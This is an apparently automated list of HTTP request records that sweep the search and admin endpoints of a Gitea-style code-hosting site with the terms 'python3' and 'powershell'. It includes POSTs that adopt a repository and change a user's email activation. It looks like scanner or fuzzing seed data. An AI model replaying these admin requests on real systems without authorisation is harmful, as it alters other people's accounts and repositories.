{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 52", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=python3&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 97", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=python3&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 55", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=powershell&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 100", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=powershell&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
